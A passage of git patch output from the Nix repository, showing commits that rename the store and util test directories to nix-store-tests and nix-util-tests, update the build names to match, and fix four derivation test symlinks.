src/libstore-test/data/derivation/output-inputAddressed.json rename to src/nix-store-tests/data/derivation/output-inputAddressed.json diff --git a/src/libstore-test/data/derivation/simple.drv b/src/nix-store-tests/data/derivation/simple.drv similarity index 100% rename from src/libstore-test/data/derivation/simple.drv rename to src/nix-store-tests/data/derivation/simple.drv diff --git a/src/libstore-test/data/derivation/simple.json b/src/nix-store-tests/data/derivation/simple.json similarity index 100% rename from src/libstore-test/data/derivation/simple.json rename to src/nix-store-tests/data/derivation/simple.json diff --git a/src/libstore-test/data/machines/bad_format b/src/nix-store-tests/data/machines/bad_format similarity index 100% rename from src/libstore-test/data/machines/bad_format rename to src/nix-store-tests/data/machines/bad_format diff --git a/src/libstore-test/data/machines/valid b/src/nix-store-tests/data/machines/valid similarity index 100% rename from src/libstore-test/data/machines/valid rename to src/nix-store-tests/data/machines/valid diff --git a/src/libstore-test/data/nar-info/impure.json b/src/nix-store-tests/data/nar-info/impure.json similarity index 100% rename from src/libstore-test/data/nar-info/impure.json rename to src/nix-store-tests/data/nar-info/impure.json diff --git a/src/libstore-test/data/nar-info/pure.json b/src/nix-store-tests/data/nar-info/pure.json similarity index 100% rename from src/libstore-test/data/nar-info/pure.json rename to src/nix-store-tests/data/nar-info/pure.json diff --git a/src/libstore-test/data/path-info/empty_impure.json b/src/nix-store-tests/data/path-info/empty_impure.json similarity index 100% rename from src/libstore-test/data/path-info/empty_impure.json rename to src/nix-store-tests/data/path-info/empty_impure.json diff --git a/src/libstore-test/data/path-info/empty_pure.json b/src/nix-store-tests/data/path-info/empty_pure.json similarity index 100% rename from src/libstore-test/data/path-info/empty_pure.json rename to src/nix-store-tests/data/path-info/empty_pure.json diff --git a/src/libstore-test/data/path-info/impure.json b/src/nix-store-tests/data/path-info/impure.json similarity index 100% rename from src/libstore-test/data/path-info/impure.json rename to src/nix-store-tests/data/path-info/impure.json diff --git a/src/libstore-test/data/path-info/pure.json b/src/nix-store-tests/data/path-info/pure.json similarity index 100% rename from src/libstore-test/data/path-info/pure.json rename to src/nix-store-tests/data/path-info/pure.json diff --git a/src/libstore-test/data/serve-protocol/build-options-2.1.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.1.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-options-2.1.bin rename to src/nix-store-tests/data/serve-protocol/build-options-2.1.bin diff --git a/src/libstore-test/data/serve-protocol/build-options-2.2.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.2.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-options-2.2.bin rename to src/nix-store-tests/data/serve-protocol/build-options-2.2.bin diff --git a/src/libstore-test/data/serve-protocol/build-options-2.3.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.3.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-options-2.3.bin rename to src/nix-store-tests/data/serve-protocol/build-options-2.3.bin diff --git a/src/libstore-test/data/serve-protocol/build-options-2.7.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.7.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-options-2.7.bin rename to src/nix-store-tests/data/serve-protocol/build-options-2.7.bin diff --git a/src/libstore-test/data/serve-protocol/build-result-2.2.bin b/src/nix-store-tests/data/serve-protocol/build-result-2.2.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-result-2.2.bin rename to src/nix-store-tests/data/serve-protocol/build-result-2.2.bin diff --git a/src/libstore-test/data/serve-protocol/build-result-2.3.bin b/src/nix-store-tests/data/serve-protocol/build-result-2.3.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-result-2.3.bin rename to src/nix-store-tests/data/serve-protocol/build-result-2.3.bin diff --git a/src/libstore-test/data/serve-protocol/build-result-2.6.bin b/src/nix-store-tests/data/serve-protocol/build-result-2.6.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/build-result-2.6.bin rename to src/nix-store-tests/data/serve-protocol/build-result-2.6.bin diff --git a/src/libstore-test/data/serve-protocol/content-address.bin b/src/nix-store-tests/data/serve-protocol/content-address.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/content-address.bin rename to src/nix-store-tests/data/serve-protocol/content-address.bin diff --git a/src/libstore-test/data/serve-protocol/drv-output.bin b/src/nix-store-tests/data/serve-protocol/drv-output.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/drv-output.bin rename to src/nix-store-tests/data/serve-protocol/drv-output.bin diff --git a/src/libstore-test/data/serve-protocol/handshake-to-client.bin b/src/nix-store-tests/data/serve-protocol/handshake-to-client.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/handshake-to-client.bin rename to src/nix-store-tests/data/serve-protocol/handshake-to-client.bin diff --git a/src/libstore-test/data/serve-protocol/optional-content-address.bin b/src/nix-store-tests/data/serve-protocol/optional-content-address.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/optional-content-address.bin rename to src/nix-store-tests/data/serve-protocol/optional-content-address.bin diff --git a/src/libstore-test/data/serve-protocol/optional-store-path.bin b/src/nix-store-tests/data/serve-protocol/optional-store-path.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/optional-store-path.bin rename to src/nix-store-tests/data/serve-protocol/optional-store-path.bin diff --git a/src/libstore-test/data/serve-protocol/realisation.bin b/src/nix-store-tests/data/serve-protocol/realisation.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/realisation.bin rename to src/nix-store-tests/data/serve-protocol/realisation.bin diff --git a/src/libstore-test/data/serve-protocol/set.bin b/src/nix-store-tests/data/serve-protocol/set.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/set.bin rename to src/nix-store-tests/data/serve-protocol/set.bin diff --git a/src/libstore-test/data/serve-protocol/store-path.bin b/src/nix-store-tests/data/serve-protocol/store-path.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/store-path.bin rename to src/nix-store-tests/data/serve-protocol/store-path.bin diff --git a/src/libstore-test/data/serve-protocol/string.bin b/src/nix-store-tests/data/serve-protocol/string.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/string.bin rename to src/nix-store-tests/data/serve-protocol/string.bin diff --git a/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin rename to src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.3.bin diff --git a/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin rename to src/nix-store-tests/data/serve-protocol/unkeyed-valid-path-info-2.4.bin diff --git a/src/libstore-test/data/serve-protocol/vector.bin b/src/nix-store-tests/data/serve-protocol/vector.bin similarity index 100% rename from src/libstore-test/data/serve-protocol/vector.bin rename to src/nix-store-tests/data/serve-protocol/vector.bin diff --git a/src/libstore-test/data/store-reference/auto.txt b/src/nix-store-tests/data/store-reference/auto.txt similarity index 100% rename from src/libstore-test/data/store-reference/auto.txt rename to src/nix-store-tests/data/store-reference/auto.txt diff --git a/src/libstore-test/data/store-reference/auto_param.txt b/src/nix-store-tests/data/store-reference/auto_param.txt similarity index 100% rename from src/libstore-test/data/store-reference/auto_param.txt rename to src/nix-store-tests/data/store-reference/auto_param.txt diff --git a/src/libstore-test/data/store-reference/local_1.txt b/src/nix-store-tests/data/store-reference/local_1.txt similarity index 100% rename from src/libstore-test/data/store-reference/local_1.txt rename to src/nix-store-tests/data/store-reference/local_1.txt diff --git a/src/libstore-test/data/store-reference/local_2.txt b/src/nix-store-tests/data/store-reference/local_2.txt similarity index 100% rename from src/libstore-test/data/store-reference/local_2.txt rename to src/nix-store-tests/data/store-reference/local_2.txt diff --git a/src/libstore-test/data/store-reference/local_shorthand_1.txt b/src/nix-store-tests/data/store-reference/local_shorthand_1.txt similarity index 100% rename from src/libstore-test/data/store-reference/local_shorthand_1.txt rename to src/nix-store-tests/data/store-reference/local_shorthand_1.txt diff --git a/src/libstore-test/data/store-reference/local_shorthand_2.txt b/src/nix-store-tests/data/store-reference/local_shorthand_2.txt similarity index 100% rename from src/libstore-test/data/store-reference/local_shorthand_2.txt rename to src/nix-store-tests/data/store-reference/local_shorthand_2.txt diff --git a/src/libstore-test/data/store-reference/ssh.txt b/src/nix-store-tests/data/store-reference/ssh.txt similarity index 100% rename from src/libstore-test/data/store-reference/ssh.txt rename to src/nix-store-tests/data/store-reference/ssh.txt diff --git a/src/libstore-test/data/store-reference/unix.txt b/src/nix-store-tests/data/store-reference/unix.txt similarity index 100% rename from src/libstore-test/data/store-reference/unix.txt rename to src/nix-store-tests/data/store-reference/unix.txt diff --git a/src/libstore-test/data/store-reference/unix_shorthand.txt b/src/nix-store-tests/data/store-reference/unix_shorthand.txt similarity index 100% rename from src/libstore-test/data/store-reference/unix_shorthand.txt rename to src/nix-store-tests/data/store-reference/unix_shorthand.txt diff --git a/src/libstore-test/data/worker-protocol/build-mode.bin b/src/nix-store-tests/data/worker-protocol/build-mode.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/build-mode.bin rename to src/nix-store-tests/data/worker-protocol/build-mode.bin diff --git a/src/libstore-test/data/worker-protocol/build-result-1.27.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.27.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/build-result-1.27.bin rename to src/nix-store-tests/data/worker-protocol/build-result-1.27.bin diff --git a/src/libstore-test/data/worker-protocol/build-result-1.28.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.28.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/build-result-1.28.bin rename to src/nix-store-tests/data/worker-protocol/build-result-1.28.bin diff --git a/src/libstore-test/data/worker-protocol/build-result-1.29.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.29.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/build-result-1.29.bin rename to src/nix-store-tests/data/worker-protocol/build-result-1.29.bin diff --git a/src/libstore-test/data/worker-protocol/build-result-1.37.bin b/src/nix-store-tests/data/worker-protocol/build-result-1.37.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/build-result-1.37.bin rename to src/nix-store-tests/data/worker-protocol/build-result-1.37.bin diff --git a/src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin b/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin rename to src/nix-store-tests/data/worker-protocol/client-handshake-info_1_30.bin diff --git a/src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin b/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin rename to src/nix-store-tests/data/worker-protocol/client-handshake-info_1_33.bin diff --git a/src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin b/src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin rename to src/nix-store-tests/data/worker-protocol/client-handshake-info_1_35.bin diff --git a/src/libstore-test/data/worker-protocol/content-address.bin b/src/nix-store-tests/data/worker-protocol/content-address.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/content-address.bin rename to src/nix-store-tests/data/worker-protocol/content-address.bin diff --git a/src/libstore-test/data/worker-protocol/derived-path-1.29.bin b/src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/derived-path-1.29.bin rename to src/nix-store-tests/data/worker-protocol/derived-path-1.29.bin diff --git a/src/libstore-test/data/worker-protocol/derived-path-1.30.bin b/src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/derived-path-1.30.bin rename to src/nix-store-tests/data/worker-protocol/derived-path-1.30.bin diff --git a/src/libstore-test/data/worker-protocol/drv-output.bin b/src/nix-store-tests/data/worker-protocol/drv-output.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/drv-output.bin rename to src/nix-store-tests/data/worker-protocol/drv-output.bin diff --git a/src/libstore-test/data/worker-protocol/handshake-to-client.bin b/src/nix-store-tests/data/worker-protocol/handshake-to-client.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/handshake-to-client.bin rename to src/nix-store-tests/data/worker-protocol/handshake-to-client.bin diff --git a/src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin b/src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin rename to src/nix-store-tests/data/worker-protocol/keyed-build-result-1.29.bin diff --git a/src/libstore-test/data/worker-protocol/optional-content-address.bin b/src/nix-store-tests/data/worker-protocol/optional-content-address.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/optional-content-address.bin rename to src/nix-store-tests/data/worker-protocol/optional-content-address.bin diff --git a/src/libstore-test/data/worker-protocol/optional-store-path.bin b/src/nix-store-tests/data/worker-protocol/optional-store-path.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/optional-store-path.bin rename to src/nix-store-tests/data/worker-protocol/optional-store-path.bin diff --git a/src/libstore-test/data/worker-protocol/optional-trusted-flag.bin b/src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/optional-trusted-flag.bin rename to src/nix-store-tests/data/worker-protocol/optional-trusted-flag.bin diff --git a/src/libstore-test/data/worker-protocol/realisation.bin b/src/nix-store-tests/data/worker-protocol/realisation.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/realisation.bin rename to src/nix-store-tests/data/worker-protocol/realisation.bin diff --git a/src/libstore-test/data/worker-protocol/set.bin b/src/nix-store-tests/data/worker-protocol/set.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/set.bin rename to src/nix-store-tests/data/worker-protocol/set.bin diff --git a/src/libstore-test/data/worker-protocol/store-path.bin b/src/nix-store-tests/data/worker-protocol/store-path.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/store-path.bin rename to src/nix-store-tests/data/worker-protocol/store-path.bin diff --git a/src/libstore-test/data/worker-protocol/string.bin b/src/nix-store-tests/data/worker-protocol/string.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/string.bin rename to src/nix-store-tests/data/worker-protocol/string.bin diff --git a/src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin rename to src/nix-store-tests/data/worker-protocol/unkeyed-valid-path-info-1.15.bin diff --git a/src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin b/src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin rename to src/nix-store-tests/data/worker-protocol/valid-path-info-1.15.bin diff --git a/src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin b/src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin rename to src/nix-store-tests/data/worker-protocol/valid-path-info-1.16.bin diff --git a/src/libstore-test/data/worker-protocol/vector.bin b/src/nix-store-tests/data/worker-protocol/vector.bin similarity index 100% rename from src/libstore-test/data/worker-protocol/vector.bin rename to src/nix-store-tests/data/worker-protocol/vector.bin diff --git a/src/libstore-test/derivation-advanced-attrs.cc b/src/nix-store-tests/derivation-advanced-attrs.cc similarity index 100% rename from src/libstore-test/derivation-advanced-attrs.cc rename to src/nix-store-tests/derivation-advanced-attrs.cc diff --git a/src/libstore-test/derivation.cc b/src/nix-store-tests/derivation.cc similarity index 100% rename from src/libstore-test/derivation.cc rename to src/nix-store-tests/derivation.cc diff --git a/src/libstore-test/derived-path.cc b/src/nix-store-tests/derived-path.cc similarity index 100% rename from src/libstore-test/derived-path.cc rename to src/nix-store-tests/derived-path.cc diff --git a/src/libstore-test/downstream-placeholder.cc b/src/nix-store-tests/downstream-placeholder.cc similarity index 100% rename from src/libstore-test/downstream-placeholder.cc rename to src/nix-store-tests/downstream-placeholder.cc diff --git a/src/libstore-test/machines.cc b/src/nix-store-tests/machines.cc similarity index 100% rename from src/libstore-test/machines.cc rename to src/nix-store-tests/machines.cc diff --git a/src/libstore-test/meson.build b/src/nix-store-tests/meson.build similarity index 98% rename from src/libstore-test/meson.build rename to src/nix-store-tests/meson.build index 6bf0a5028..2fde70d3b 100644 --- a/src/libstore-test/meson.build +++ b/src/nix-store-tests/meson.build @@ -1,4 +1,4 @@ -project('nix-store-test', 'cpp', +project('nix-store-tests', 'cpp', version : files('.version'), default_options : [ 'cpp_std=c++2a', diff --git a/src/libstore-test/nar-info-disk-cache.cc b/src/nix-store-tests/nar-info-disk-cache.cc similarity index 100% rename from src/libstore-test/nar-info-disk-cache.cc rename to src/nix-store-tests/nar-info-disk-cache.cc diff --git a/src/libstore-test/nar-info.cc b/src/nix-store-tests/nar-info.cc similarity index 100% rename from src/libstore-test/nar-info.cc rename to src/nix-store-tests/nar-info.cc diff --git a/src/libstore-test/nix_api_store.cc b/src/nix-store-tests/nix_api_store.cc similarity index 100% rename from src/libstore-test/nix_api_store.cc rename to src/nix-store-tests/nix_api_store.cc diff --git a/src/libstore-test/outputs-spec.cc b/src/nix-store-tests/outputs-spec.cc similarity index 100% rename from src/libstore-test/outputs-spec.cc rename to src/nix-store-tests/outputs-spec.cc diff --git a/src/libstore-test/package.nix b/src/nix-store-tests/package.nix similarity index 98% rename from src/libstore-test/package.nix rename to src/nix-store-tests/package.nix index e37e64886..dc987b3c6 100644 --- a/src/libstore-test/package.nix +++ b/src/nix-store-tests/package.nix @@ -40,7 +40,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-store-test"; + pname = "nix-store-tests"; inherit version; src = fileset.toSource { @@ -105,7 +105,7 @@ mkDerivation (finalAttrs: { in runCommand "${finalAttrs.pname}-run" {} '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" export _NIX_TEST_UNIT_DATA=${data} - nix-store-test + nix-store-tests touch $out ''; }; diff --git a/src/libstore-test/path-info.cc b/src/nix-store-tests/path-info.cc similarity index 100% rename from src/libstore-test/path-info.cc rename to src/nix-store-tests/path-info.cc diff --git a/src/libstore-test/path.cc b/src/nix-store-tests/path.cc similarity index 100% rename from src/libstore-test/path.cc rename to src/nix-store-tests/path.cc diff --git a/src/libstore-test/references.cc b/src/nix-store-tests/references.cc similarity index 100% rename from src/libstore-test/references.cc rename to src/nix-store-tests/references.cc diff --git a/src/libstore-test/serve-protocol.cc b/src/nix-store-tests/serve-protocol.cc similarity index 100% rename from src/libstore-test/serve-protocol.cc rename to src/nix-store-tests/serve-protocol.cc diff --git a/src/libstore-test/store-reference.cc b/src/nix-store-tests/store-reference.cc similarity index 100% rename from src/libstore-test/store-reference.cc rename to src/nix-store-tests/store-reference.cc diff --git a/src/libstore-test/worker-protocol.cc b/src/nix-store-tests/worker-protocol.cc similarity index 100% rename from src/libstore-test/worker-protocol.cc rename to src/nix-store-tests/worker-protocol.cc diff --git a/src/libutil-test-support/.version b/src/nix-util-test-support/.version similarity index 100% rename from src/libutil-test-support/.version rename to src/nix-util-test-support/.version diff --git a/src/libutil-test-support/build-utils-meson b/src/nix-util-test-support/build-utils-meson similarity index 100% rename from src/libutil-test-support/build-utils-meson rename to src/nix-util-test-support/build-utils-meson diff --git a/src/libutil-test-support/meson.build b/src/nix-util-test-support/meson.build similarity index 100% rename from src/libutil-test-support/meson.build rename to src/nix-util-test-support/meson.build diff --git a/src/libutil-test-support/package.nix b/src/nix-util-test-support/package.nix similarity index 100% rename from src/libutil-test-support/package.nix rename to src/nix-util-test-support/package.nix diff --git a/src/libutil-test-support/tests/characterization.hh b/src/nix-util-test-support/tests/characterization.hh similarity index 100% rename from src/libutil-test-support/tests/characterization.hh rename to src/nix-util-test-support/tests/characterization.hh diff --git a/src/libutil-test-support/tests/hash.cc b/src/nix-util-test-support/tests/hash.cc similarity index 100% rename from src/libutil-test-support/tests/hash.cc rename to src/nix-util-test-support/tests/hash.cc diff --git a/src/libutil-test-support/tests/hash.hh b/src/nix-util-test-support/tests/hash.hh similarity index 100% rename from src/libutil-test-support/tests/hash.hh rename to src/nix-util-test-support/tests/hash.hh diff --git a/src/libutil-test-support/tests/nix_api_util.hh b/src/nix-util-test-support/tests/nix_api_util.hh similarity index 100% rename from src/libutil-test-support/tests/nix_api_util.hh rename to src/nix-util-test-support/tests/nix_api_util.hh diff --git a/src/libutil-test-support/tests/string_callback.cc b/src/nix-util-test-support/tests/string_callback.cc similarity index 100% rename from src/libutil-test-support/tests/string_callback.cc rename to src/nix-util-test-support/tests/string_callback.cc diff --git a/src/libutil-test-support/tests/string_callback.hh b/src/nix-util-test-support/tests/string_callback.hh similarity index 100% rename from src/libutil-test-support/tests/string_callback.hh rename to src/nix-util-test-support/tests/string_callback.hh diff --git a/src/libutil-test/.version b/src/nix-util-tests/.version similarity index 100% rename from src/libutil-test/.version rename to src/nix-util-tests/.version diff --git a/src/libutil-test/args.cc b/src/nix-util-tests/args.cc similarity index 100% rename from src/libutil-test/args.cc rename to src/nix-util-tests/args.cc diff --git a/src/libutil-test/build-utils-meson b/src/nix-util-tests/build-utils-meson similarity index 100% rename from src/libutil-test/build-utils-meson rename to src/nix-util-tests/build-utils-meson diff --git a/src/libutil-test/canon-path.cc b/src/nix-util-tests/canon-path.cc similarity index 100% rename from src/libutil-test/canon-path.cc rename to src/nix-util-tests/canon-path.cc diff --git a/src/libutil-test/chunked-vector.cc b/src/nix-util-tests/chunked-vector.cc similarity index 100% rename from src/libutil-test/chunked-vector.cc rename to src/nix-util-tests/chunked-vector.cc diff --git a/src/libutil-test/closure.cc b/src/nix-util-tests/closure.cc similarity index 100% rename from src/libutil-test/closure.cc rename to src/nix-util-tests/closure.cc diff --git a/src/libutil-test/compression.cc b/src/nix-util-tests/compression.cc similarity index 100% rename from src/libutil-test/compression.cc rename to src/nix-util-tests/compression.cc diff --git a/src/libutil-test/config.cc b/src/nix-util-tests/config.cc similarity index 100% rename from src/libutil-test/config.cc rename to src/nix-util-tests/config.cc diff --git a/src/libutil-test/data/git/check-data.sh b/src/nix-util-tests/data/git/check-data.sh similarity index 100% rename from src/libutil-test/data/git/check-data.sh rename to src/nix-util-tests/data/git/check-data.sh diff --git a/src/libutil-test/data/git/hello-world-blob.bin b/src/nix-util-tests/data/git/hello-world-blob.bin similarity index 100% rename from src/libutil-test/data/git/hello-world-blob.bin rename to src/nix-util-tests/data/git/hello-world-blob.bin diff --git a/src/libutil-test/data/git/hello-world.bin b/src/nix-util-tests/data/git/hello-world.bin similarity index 100% rename from src/libutil-test/data/git/hello-world.bin rename to src/nix-util-tests/data/git/hello-world.bin diff --git a/src/libutil-test/data/git/tree.bin b/src/nix-util-tests/data/git/tree.bin similarity index 100% rename from src/libutil-test/data/git/tree.bin rename to src/nix-util-tests/data/git/tree.bin diff --git a/src/libutil-test/data/git/tree.txt b/src/nix-util-tests/data/git/tree.txt similarity index 100% rename from src/libutil-test/data/git/tree.txt rename to src/nix-util-tests/data/git/tree.txt diff --git a/src/libutil-test/file-content-address.cc b/src/nix-util-tests/file-content-address.cc similarity index 100% rename from src/libutil-test/file-content-address.cc rename to src/nix-util-tests/file-content-address.cc diff --git a/src/libutil-test/git.cc b/src/nix-util-tests/git.cc similarity index 99% rename from src/libutil-test/git.cc rename to src/nix-util-tests/git.cc index 7c360d7c5..24d24a791 100644 --- a/src/libutil-test/git.cc +++ b/src/nix-util-tests/git.cc @@ -88,7 +88,7 @@ TEST_F(GitTest, blob_write) { /** * This data is for "shallow" tree tests. However, we use "real" hashes * so that we can check our test data in a small shell script test test - * (`src/libutil-test/data/git/check-data.sh`). + * (`src/nix-util-tests/data/git/check-data.sh`). */ const static Tree tree = { { diff --git a/src/libutil-test/hash.cc b/src/nix-util-tests/hash.cc similarity index 100% rename from src/libutil-test/hash.cc rename to src/nix-util-tests/hash.cc diff --git a/src/libutil-test/hilite.cc b/src/nix-util-tests/hilite.cc similarity index 100% rename from src/libutil-test/hilite.cc rename to src/nix-util-tests/hilite.cc diff --git a/src/libutil-test/json-utils.cc b/src/nix-util-tests/json-utils.cc similarity index 100% rename from src/libutil-test/json-utils.cc rename to src/nix-util-tests/json-utils.cc diff --git a/src/libutil-test/logging.cc b/src/nix-util-tests/logging.cc similarity index 100% rename from src/libutil-test/logging.cc rename to src/nix-util-tests/logging.cc diff --git a/src/libutil-test/lru-cache.cc b/src/nix-util-tests/lru-cache.cc similarity index 100% rename from src/libutil-test/lru-cache.cc rename to src/nix-util-tests/lru-cache.cc diff --git a/src/libutil-test/meson.build b/src/nix-util-tests/meson.build similarity index 98% rename from src/libutil-test/meson.build rename to src/nix-util-tests/meson.build index 19157cda3..67ae48f53 100644 --- a/src/libutil-test/meson.build +++ b/src/nix-util-tests/meson.build @@ -1,4 +1,4 @@ -project('nix-util-test', 'cpp', +project('nix-util-tests', 'cpp', version : files('.version'), default_options : [ 'cpp_std=c++2a', diff --git a/src/libutil-test/nix_api_util.cc b/src/nix-util-tests/nix_api_util.cc similarity index 100% rename from src/libutil-test/nix_api_util.cc rename to src/nix-util-tests/nix_api_util.cc diff --git a/src/libutil-test/package.nix b/src/nix-util-tests/package.nix similarity index 97% rename from src/libutil-test/package.nix rename to src/nix-util-tests/package.nix index 396e41f3d..9df8153b6 100644 --- a/src/libutil-test/package.nix +++ b/src/nix-util-tests/package.nix @@ -39,7 +39,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-util-test"; + pname = "nix-util-tests"; inherit version; src = fileset.toSource { @@ -98,7 +98,7 @@ mkDerivation (finalAttrs: { } '' PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" export _NIX_TEST_UNIT_DATA=${./data} - nix-util-test + nix-util-tests touch $out ''; }; diff --git a/src/libutil-test/pool.cc b/src/nix-util-tests/pool.cc similarity index 100% rename from src/libutil-test/pool.cc rename to src/nix-util-tests/pool.cc diff --git a/src/libutil-test/references.cc b/src/nix-util-tests/references.cc similarity index 100% rename from src/libutil-test/references.cc rename to src/nix-util-tests/references.cc diff --git a/src/libutil-test/spawn.cc b/src/nix-util-tests/spawn.cc similarity index 100% rename from src/libutil-test/spawn.cc rename to src/nix-util-tests/spawn.cc diff --git a/src/libutil-test/suggestions.cc b/src/nix-util-tests/suggestions.cc similarity index 100% rename from src/libutil-test/suggestions.cc rename to src/nix-util-tests/suggestions.cc diff --git a/src/libutil-test/tests.cc b/src/nix-util-tests/tests.cc similarity index 100% rename from src/libutil-test/tests.cc rename to src/nix-util-tests/tests.cc diff --git a/src/libutil-test/url.cc b/src/nix-util-tests/url.cc similarity index 100% rename from src/libutil-test/url.cc rename to src/nix-util-tests/url.cc diff --git a/src/libutil-test/xml-writer.cc b/src/nix-util-tests/xml-writer.cc similarity index 100% rename from src/libutil-test/xml-writer.cc rename to src/nix-util-tests/xml-writer.cc From 224c6c32560665f5514a46ebcddde644604b5c87 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 29 Jun 2024 10:39:36 -0400 Subject: [PATCH 0968/1251] Fix test symlinks --- .../data/derivation/advanced-attributes-defaults.drv | 2 +- .../advanced-attributes-structured-attrs-defaults.drv | 2 +- .../data/derivation/advanced-attributes-structured-attrs.drv | 2 +- src/nix-store-tests/data/derivation/advanced-attributes.drv | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv index 353090ad8..f8f30ac32 120000 --- a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv +++ b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv @@ -1 +1 @@ -../../../../functional/derivation/advanced-attributes-defaults.drv \ No newline at end of file +../../../../tests/functional/derivation/advanced-attributes-defaults.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv index 11713da12..837e9a0e4 120000 --- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv +++ b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv @@ -1 +1 @@ -../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv \ No newline at end of file +../../../../tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv index 962f8ea3f..e08bb5737 120000 --- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv +++ b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv @@ -1 +1 @@ -../../../../functional/derivation/advanced-attributes-structured-attrs.drv \ No newline at end of file +../../../../tests/functional/derivation/advanced-attributes-structured-attrs.drv \ No newline at end of file diff --git a/src/nix-store-tests/data/derivation/advanced-attributes.drv b/src/nix-store-tests/data/derivation/advanced-attributes.drv index 2a53a05ca..1dc394a0a 120000 --- a/src/nix-store-tests/data/derivation/advanced-attributes.drv +++ b/src/nix-store-tests/data/derivation/advanced-attributes.drv @@ -1 +1 @@ -../../../../functional/derivation/advanced-attributes.drv \ No newline at end of file +../../../../tests/functional/derivation/advanced-attributes.drv \ No newline at end of file From 11dab30be9917e169d6f18e8a46999a0d62dda71 